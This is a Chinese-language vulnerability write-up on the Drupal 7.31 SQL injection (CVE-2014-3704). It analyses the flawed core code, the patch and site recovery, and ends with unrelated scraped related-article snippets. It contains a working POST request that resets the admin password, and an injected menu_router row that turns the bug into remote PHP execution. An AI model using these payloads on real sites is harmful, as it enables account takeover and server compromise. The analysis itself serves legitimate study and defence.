DRUPAL-PSA-CORE-2014-005 && CVE-2014-3704 Drupal 7.31 SQL Injection Vulnerability /includes/database/database.inc Analysis

目录

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

1. 漏洞描述

Use Drupal to build everything from personal blogs to enterprise applications. Thousands of add-on modules and designs let you build any site you can imagine. Join us!
Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成

Drupal诞生于2000年,是一个基于PHP语言编写的开发型CMF(内容管理框架),即: CMS + Framework

1. Framework
它由2部分组成
    1) Drupal内核中的功能强大的PHP类库和PHP函数库
    2) 在此基础上抽象的Drupal API
2. CMS
HTML+JAVASCRIPT+CSS

Drupal的架构由三大部分组成

1. 内核
2. 模块
3. 主题

三者通过Hook机制紧密的联系起来。其中,内核部分由世界上多位著名的WEB开发专家组成的团队负责开发和维护,drupal的这种面向对象的集中实现化的机制为开发者开来了极大的编程体验的提升,但同时也引入了一个风险,一旦这种底层的、内核的实现路由上的某个节点出了漏洞,权限漏洞、或者例如sql注入的边界检查缺失,则造成的影响将是全系统的破坏

这次的Drupal发生的高危SQL注入漏洞就是源于这个原因,因为发生漏洞的位置处于Drupal的内核区域,虽然是WEB应用,但是我们可以理解为处于一个高权限的代码区域,在这个逻辑层面发生的SQL注入可以导致很高权限的代码执行

A vulnerability in this API allows an attacker to send specially crafted requests resulting in arbitrary SQL execution. Depending on the content of the requests this can lead to privilege escalation, arbitrary PHP execution, or other attacks.

Relevant Link:

https://www.drupal.org/PSA-2014-003
https://www.drupal.org/SA-CORE-2014-005
http://www.oschina.net/news/56637/drupal-security-hole
https://security.berkeley.edu/content/critical-drupal-7x-sql-injection-vulnerability-cve-2014-3704
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-3704
http://www.freebuf.com/vuls/47271.html

2. 漏洞触发条件

POST /drupal-7.31/?q=node&destination=node HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/drupal-7.31/
Cookie: Drupal.toolbar.collapsed=0; Drupal.tableDrag.showWeight=0; has_js=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 231
name[0%20;update+users+set+name%3d‘owned‘+,+pass+%3d+‘$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld‘+where+uid+%3d+‘1‘;;#%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in

3. 漏洞影响范围

0x1: 受影响的版本

Drupal 7.x - 7.31

4. 漏洞代码分析

0x1: 导致SQL注入的代码分析

下载Drupal 7.31的源代码进行分析,产生漏洞的源头在"/includes/database/database.inc",从架构上来说,这是Drupal的"内核"

/**
   * Expands out shorthand placeholders.
   *
   * Drupal supports an alternate syntax for doing arrays of values. We
   * therefore need to expand them out into a full, executable query string.
   *
   * @param $query
   *   The query string to modify.
   * @param $args
   *   The arguments for the query.
   *
   * @return
   *   TRUE if the query was modified, FALSE otherwise.
   */
  protected function expandArguments(&$query, &$args)
  {
    $modified = FALSE;

    // If the placeholder value to insert is an array, assume that we need
    // to expand it out into a comma-delimited set of placeholders.
    /*
    array_filter can Iterates over each value in the array passing them to the callback function. If the callback function returns true, the current value from array is returned into the result array. Array keys are preserved.
    array_filter($args, ‘is_array‘)起到过滤器的作用,从$args中剥离出"数组"的部分
    */
    foreach (array_filter($args, ‘is_array‘) as $key => $data)
    {
      $new_keys = array();
      /*
      这行代码是导致漏洞的关键点:
      1. 没有对array的key、value进行"参数化纯净性验证",导致黑客在key中注入了可执行代码,对即将执行的sql语句进行了污染
      2. 即没有将输入的值强制限定在程序预先设定的可接受的值范围内
      */
      foreach ($data as $i => $value)
      {
        // This assumes that there are no other placeholders that use the same
        // name.  For example, if the array placeholder is defined as :example
        // and there is already an :example_2 placeholder, this will generate
        // a duplicate key.  We do not account for that as the calling code
        // is already broken if that happens.
        $new_keys[$key . ‘_‘ . $i] = $value;
      }

      // Update the query with the new placeholders.
      // preg_replace is necessary to ensure the replacement does not affect
      // placeholders that start with the same exact text. For example, if the
      // query contains the placeholders :foo and :foobar, and :foo has an
      // array of values, using str_replace would affect both placeholders,
      // but using the following preg_replace would only affect :foo because
      // it is followed by a non-word character.
      $query = preg_replace(‘#‘ . $key . ‘\b#‘, implode(‘, ‘, array_keys($new_keys)), $query);

      // Update the args array with the new placeholders.
      unset($args[$key]);
      $args += $new_keys;

      $modified = TRUE;
    }

    return $modified;
  }

从expandArguments函数中我们可以看到,代码没有对key、value同时采取"参数化纯净预处理",导致黑客在key中进行了代码注入,而之后这个key又被带入了sql语句的拼接中,这也正是drupla提供的一个DB PDO抽象函数,方便程序员使用array数组的方式进行sql查询语句的拼接,但是问题就在于drupal在处理这个input array的时候没有进行必要的处理

我们继续回溯代码,找到调用expandArguments()函数的代码路径

/includes/database/database.inc

..
public function query($query, array $args = array(), $options = array()) {

    // Use default values if not already set.
    $options += $this->defaultOptions();

    try {
      // We allow either a pre-bound statement object or a literal string.
      // In either case, we want to end up with an executed statement object,
      // which we pass to PDOStatement::execute.
      if ($query instanceof DatabaseStatementInterface) {
        $stmt = $query;
        $stmt->execute(NULL, $options);
      }
      else {
        $this->expandArguments($query, $args);
        $stmt = $this->prepareQuery($query);
    //程序在这里将被污染后的sql语句直接带入了数据库执行逻辑,导致了sql注入
        $stmt->execute($args, $options);
      }
      ...

了解了代码层面的原理之后,我们来看看实际的攻击载荷

name[0%20;update+users+set+name%3d‘owned‘+,+pass+%3d+‘$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld‘+where+uid+%3d+‘1‘;;#%20%20]=test3
&name[0]=test
&pass=shit2
&test2=test
&form_build_id=
&form_id=user_login_block
&op=Log+in

attack payload将管理员的密码修改为一个预设的密码,这个密码可以自己本机生成

/includes/password.inc

这个文件中就是drupal对密码加解密算法的一个实现,它是一个对称加密模式,我们可以复用它的代码实现一个密码生成器

0x2: 基于这个SQL注入衍生出的callack漏洞分析

我们已经知道了Drupal的这个抽象PDO API存在SQL注入的漏洞,它可以直接导致的一个结果就是黑客可以通过这个漏洞进行"多语句SQL执行",进行进而向数据库中添加任意的记录(实际上是执行任意的SQL语句)

在多数情况下,单独的一个漏洞也许并不能真正对WEB系统造成实际的攻击,它们很多时候只是语言的一个"特性",例如php的callback回调执行机制,它是php的一个特性,单纯就这点来看并不能称之为一个漏洞,但是在这个CVE的场景下,当它和SQL注入结合在一起的时候,就会升级为一个RCE远程代码执行漏洞了

mixed call_user_func_array ( callable $callback , array $param_arr )
//Calls the callback given by the first parameter with the parameters in param_arr.
http://cn2.php.net/manual/en/function.call-user-func-array.php

利用漏洞挖掘的"敏感函数点调用源回溯"思想,我们对drupal的代码进行一次审计,即搜索在哪些文件中调用了call_user_func_array这个函数

定位到/include/menu.inc这个文件中的menu_execute_active_handler()函数

function menu_execute_active_handler($path = NULL, $deliver = TRUE)
{
  // Check if site is offline.
  $page_callback_result = _menu_site_is_offline() ? MENU_SITE_OFFLINE : MENU_SITE_ONLINE;

  // Allow other modules to change the site status but not the path because that
  // would not change the global variable. hook_url_inbound_alter() can be used
  // to change the path. Code later will not use the $read_only_path variable.
  $read_only_path = !empty($path) ? $path : $_GET[‘q‘];
  drupal_alter(‘menu_site_status‘, $page_callback_result, $read_only_path);

  // Only continue if the site status is not set.
  if ($page_callback_result == MENU_SITE_ONLINE)
  {
    if ($router_item = menu_get_item($path))
    {
      if ($router_item[‘access‘])
      {
        if ($router_item[‘include_file‘])
        {
          require_once DRUPAL_ROOT . ‘/‘ . $router_item[‘include_file‘];
        }
        /*
        这里是漏洞利用的关键代码,call_user_func_array接收了$router_item的两个参数,如果我们可以控制这2个参数,就可以达到rce的效果
        */
        $page_callback_result = call_user_func_array($router_item[‘page_callback‘], $router_item[‘page_arguments‘]);
      }
      else
      {
        $page_callback_result = MENU_ACCESS_DENIED;
      }
    }
    else
    {
      $page_callback_result = MENU_NOT_FOUND;
    }
  }

  // Deliver the result of the page callback to the browser, or if requested,
  // return it raw, so calling code can do more processing.
  if ($deliver)
  {
    $default_delivery_callback = (isset($router_item) && $router_item) ? $router_item[‘delivery_callback‘] : NULL;
    drupal_deliver_page($page_callback_result, $default_delivery_callback);
  }
  else
  {
    return $page_callback_result;
  }
}

注意到代码中的 $page_callback_result = call_user_func_array($router_item[‘page_callback‘], $router_item[‘page_arguments‘]);

call_user_func_array接收了$router_item的两个参数,如果我们可以控制这2个参数,就可以达到rce的效果,而$router_item是通过 $router_item = menu_get_item($path) 赋值的,那应该怎么做呢?

我们继续溯源menu_get_item

/**
 * Gets a router item.
 *
 * @param $path
 *   The path; for example, ‘node/5‘. The function will find the corresponding
 *   node/% item and return that.
 * @param $router_item
 *   Internal use only.
 *
 * @return
 *   The router item or, if an error occurs in _menu_translate(), FALSE. A
 *   router item is an associative array corresponding to one row in the
 *   menu_router table. The value corresponding to the key ‘map‘ holds the
 *   loaded objects. The value corresponding to the key ‘access‘ is TRUE if the
 *   current user can access this page. The values corresponding to the keys
 *   ‘title‘, ‘page_arguments‘, ‘access_arguments‘, and ‘theme_arguments‘ will
 *   be filled in based on the database values and the objects loaded.
 */
function menu_get_item($path = NULL, $router_item = NULL)
{
  $router_items = &drupal_static(__FUNCTION__);
  /*
  这里是代码的关键,我们输入的$_GET[‘q‘]控制了最终的$router_item
  */
  if (!isset($path))
  {
    $path = $_GET[‘q‘];
  }
  if (isset($router_item))
  {
    $router_items[$path] = $router_item;
  }
  if (!isset($router_items[$path])) {
    // Rebuild if we know it‘s needed, or if the menu masks are missing which
    // occurs rarely, likely due to a race condition of multiple rebuilds.
    if (variable_get(‘menu_rebuild_needed‘, FALSE) || !variable_get(‘menu_masks‘, array())) {
      menu_rebuild();
    }
    $original_map = arg(NULL, $path);

    $parts = array_slice($original_map, 0, MENU_MAX_PARTS);
    $ancestors = menu_get_ancestors($parts);
    /*
    在menu_router里查询我们输入的$_GET[‘q‘],然后返回所有字段
    */
    $router_item = db_query_range(‘SELECT * FROM {menu_router} WHERE path IN (:ancestors) ORDER BY fit DESC‘, 0, 1, array(‘:ancestors‘ => $ancestors))->fetchAssoc();

    if ($router_item)
    {
      // Allow modules to alter the router item before it is translated and
      // checked for access.
      drupal_alter(‘menu_get_item‘, $router_item, $path, $original_map);

      $map = _menu_translate($router_item, $original_map);
      $router_item[‘original_map‘] = $original_map;
      if ($map === FALSE) {
        $router_items[$path] = FALSE;
        return FALSE;
      }
      if ($router_item[‘access‘]) {
        $router_item[‘map‘] = $map;
        $router_item[‘page_arguments‘] = array_merge(menu_unserialize($router_item[‘page_arguments‘], $map), array_slice($map, $router_item[‘number_parts‘]));
        $router_item[‘theme_arguments‘] = array_merge(menu_unserialize($router_item[‘theme_arguments‘], $map), array_slice($map, $router_item[‘number_parts‘]));
      }
    }
    $router_items[$path] = $router_item;
  }
  return $router_items[$path];
}

在这个函数中,我们看到几个关键点

1. 我们的输入$_GET["q"]可以控制$path,进而控制$router_item最终获取的值
2. 在 menu_router数据表 里查询我们输入的$_GET[‘q‘],然后从返回所有字段

继续回到上层的调用函数menu_execute_active_handler()中

if ($router_item[‘include_file‘])
{
      require_once DRUPAL_ROOT . ‘/‘ . $router_item[‘include_file‘];
}

这里又根据刚才从数据库中查出的$router_item["include_file"]进行文件引入,紧接着取出router_item中的page_callback,带入call_user_func_array执行

分析至此,我们来梳理一下这个代码漏洞的攻击流程

1. 程序根据用户输入的$_GET[‘q‘]作为条件在"menu_router"数据表中查找对应的记录,并将所有的结果都返回回来
2. 而通过drupal的SQL注入漏洞,我们可以向"menu_router"数据表中插入任意我们需要的记录
3. 在向"menu_router"数据表中插入数据的时候,"page_arguments"这个字段一定要为null,这样根据PHP的特性,$router_item[‘page_arguments‘]就等效于$router_item[0],即返回记录中的第一个字段参数
4. 最终的RCE执行点在menu_execute_active_handler的
call_user_func_array($router_item[‘page_callback‘], $router_item[‘page_arguments‘]); 中
也即
call_user_func_array($router_item[‘page_callback‘], $router_item[0]);
5. 我们需要利用PHP的这个callback回调进行代码执行,也即我们需要构造出这样的代码场景
call_user_func_array("php_eval", $router_item[0]);
6. php_eval这个函数的实现在"modules/php/php.module"目录中,我们需要将它引入进来

综合以上分析,我们可以得出以下结论,我们需要在"menu_router"数据表中插入一条这样的数据才能满足攻击条件

insert into menu_router (path,  page_callback, access_callback, include_file) values (‘<?php phpinfo();?>‘,‘php_eval‘, ‘1‘, ‘modules/php/php.module‘);

可以看到,path = $_GET[‘q‘],$_GET[‘q‘]即我们需要执行的代码,同时也是数据库查询的关键字索引

path 为要执行的代码;
include_file 为 PHP filter Module 的路径;
page_callback 为 php_eval;
access_callback 为 1(可以让任意用户访问)。

访问: http://localhost/drupal-7.32/?q=%3C?php%20phpinfo();?%3E

Relevant Link:

https://www.drupal.org/project/drupal
http://php.net/manual/en/function.array-filter.php
http://cn2.php.net/manual/en/function.array-values.php
http://www.91ri.org/11074.html
http://www.freebuf.com/vuls/49148.html
http://www.beebeeto.com/pdb/poc-2014-0100/

5. 防御方法

0x1: 代码修复

1.  直接使用官方补丁进行修复:
https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch

2、升级到 Drupal 7.32
https://www.drupal.org/drupal-7.32-release-notes

code

diff --git a/includes/database/database.inc b/includes/database/database.inc
index f78098b..01b6385 100644
--- a/includes/database/database.inc
+++ b/includes/database/database.inc
@@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO {
     // to expand it out into a comma-delimited set of placeholders.
     foreach (array_filter($args, ‘is_array‘) as $key => $data) {
       $new_keys = array();
-      foreach ($data as $i => $value) {
    /*
    array_values() returns all the values from the array and indexes the array numerically.
    array_values($data)将数组的值单独剥离出来,组成一个数字索引的新数组
    */
+      foreach (array_values($data) as $i => $value) {
         // This assumes that there are no other placeholders that use the same
         // name.  For example, if the array placeholder is defined as :example
         // and there is already an :example_2 placeholder, this will generate

代码修复的核心思想就是对input array进行了key卸载,将输入值强制限定在了原本程序预设的可接受的值范围中

0x2: 脏数据回滚

对于这种漏洞,除了进行代码级漏洞修复之外,还需要进行脏数据回滚,因为黑客可能利用这个漏洞对目标网站进行SQL注入攻击,污染了数据库,因此要通过backup roll back进行脏数据修复

1. Take the website offline by replacing it with a static HTML page

2. Notify the server’s administrator emphasizing that other sites or applications hosted on the same server might have been compromised via a backdoor installed by the initial attack

3. Consider obtaining a new server, or otherwise remove all the website’s files and database from the server. (Keep a copy safe for later analysis.)

4. Restore the website (Drupal files, uploaded files and database) from backups from before 15 October 2014

5. Update or patch the restored Drupal core code

6. Put the restored and patched/updated website back online

7. Manually redo any desired changes made to the website since the date of the restored backup
Audit anything merged from the compromised website, such as custom code, configuration, files or other artifacts, to confirm they are correct and have not been tampered with.

Relevant Link:

http://help.aliyun.com/view/11108300_13852287.html

6. 攻防思考

针对这种注入漏洞已经衍生的callback RCE漏洞,最好的防御思路就是"参数化防御",由于PHP这种动态语言本身的特性,导致在代码运行中,本来期望的是整型,结果却被注入了字符并正常执行。安全审计人员应该在一些敏感的函数点执行前对相关的数组、变量进行"强制参数化防御",即将输入的值强制限定在一个可接受的值、可接受的变量类型。这也可以从根本上防御一类变量初始化导致的代码漏洞

Copyright (c) 2014 LittleHann All rights reserved

时间: 2024-12-28 11:01:31

DRUPAL-PSA-CORE-2014-005 && CVE-2014-3704 Drupal 7.31 SQL Injection Vulnerability /includes/database/database.inc Analysis的相关文章

CVE: 2014-6271 Bash Specially-crafted Environment Variables Code Injection Vulnerability Analysis

目录 1. 漏洞的起因 2. 漏洞原理分析 3. 漏洞的影响范围 4. 漏洞的POC.测试方法 5. 漏洞的修复Patch 1. 漏洞的起因 这个漏洞的起因源自于Bash(Bourne Again SHell)的ENV指令 http://ss64.com/bash/env.html env: Display, set, or remove environment variables, Run a command in a modified environment. Syntax env [OPT

Drupal 7.31 SQL Injection Exp

#-*- coding:utf-8 -*- import urllib2,sys import hashlib # Calculate a non-truncated Drupal 7 compatible password hash. # The consumer of these hashes must truncate correctly. class DrupalHash: def __init__(self, stored_hash, password): self.itoa64 =

JavaScript基础系列目录(2014.06.01~2014.06.08)

下列文章,转载请亲注明链接出处,谢谢! 链接地址: http://www.cnblogs.com/ttcc/tag/JavaScript%20%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%20%E6%80%BB%E7%BB%93/ 1. Javascript基础---语法(待完成) 2. JavaScript基础---数据类型(待完成) 3. JavaScript基础---Array数组(待完成) 4. JavaScript基础---正则表达式(待完成) 5. Jav

SAP-MM:收货转储时提示 M7053“只能在公司代码 **** 的期间 2014/04 和 2014/03 中记账”

错误信息 消息号M7053 解决方法 Step 1.使用MMPV进入"关闭账期"界面. Step 2.输入"公司代码"."期间"."会计年度"后,执行(F8). Step 3.使用MMRV进入"查看打开的账期"界面,当前期间仍为"2014/04". Step 4.同 Step 1.Step 2 操作,将期间改为 "05". Step 5.同 Step 3 操作,当前期

(随笔)js获取当前时间并格格式化当前日期 获取date天后的日期(2014年11月27日 16:31:49)

(随笔)js获取当前时间并格格式化当前日期 获取date天后的日期参考网络(2014年11月27日 16:31:49 浙江) // 格式化当前日期 获取date天后的日期    function getNowFormatDate(date) {        var day = new Date();        var Year = 0;        var Month = 0;        var Day = 0;        var CurrentDate = "";  

2014诶!2014哟!

东莞到松滋的卧铺车,到终点站松滋车站的时候,已是凌晨3点多.回家洗洗睡了.早上8点的闹钟把我唤醒. 已经腊月二十八了,想回家上手入门ASP.NET,但时间仿佛总是不够,计划总是不够清晰.我想回家三天之内把传智播客里的<特供ASP.Net视频教程2014版>视频看完,然后,在我对ASP.NET有了一般了解的情况下,开始构思下一步计划,比如,上手敲代码:眼睛有点干涩,身体有点酸疼,被子好暖和,我还是想起来开始行动.打开家里电脑,开始各种下载:学习视频,VS2010:早餐是奶奶给我煮的豆皮. 10点

SQL Server 2014 日志传送部署(4):SQL Server Management Studio部署日志传送

13.2.4 使用Management Studio部署日志传送 使用SQL Server Management Studio来部署日志传送步骤如下: (1)打开主服务器SQLSVR1中作为日志传送的主数据库DB01的属性页面,,然后选择"事务日志传送".选中"将此数据库启用为日志传送配置中的主数据库(E)"复选框. (2)点击"备份设置": 1.填写"备份文件夹网络路径"为\\192.168.1.20\backlog; 2.

一周总结:2014.04.28 – 2014.05.04

技能与知识 我们每天学习的东西,可以粗略的划分为技能和知识两大类.技能,就是解决问题的能力:而知识则是对内容的理解.掌握.或者说,技能是对知识的动态使用. 相比于知识,我更希望多掌握些技能.前段时间总结自己的学习经历时,猛然发现我学到的其实更多的是知识,很是沮丧.我知道很多算法(算法导论那种),看过很多系统或框架的介绍与分析,也认真学习过计算机的体系结构,但这些没有转化为我的技能,我还是不会解决问题. 直到昨天,我想通了一件很浅显的事:知识+实践=技能. 我的第一个问题是知识并不足够,尤其是知识

Drupal 7.31 SQL注入漏洞利用具体解释及EXP

 有意迟几天放出来这篇文章以及程序,只是看样子Drupal的这个洞没有引起多少重视,所以我也没有必要按着不发了,只是说实话这个洞威力挺大的.当然.这也是Drupal本身没有意料到的. 0x00 首先.这个漏洞真的非常大.并且Drupal用的也比較多.应该能够扫出非常多漏洞主机,可是做批量可能会对对方站点造成非常大的损失.所以我也就仅仅是写个Exp.只是.这个洞好像不怎么被重视.这也是极为不合适. 0x01 关于漏洞的原理和POC在我的博客上已经有文章进行解释.这里仅仅是着重说一下利用过程.配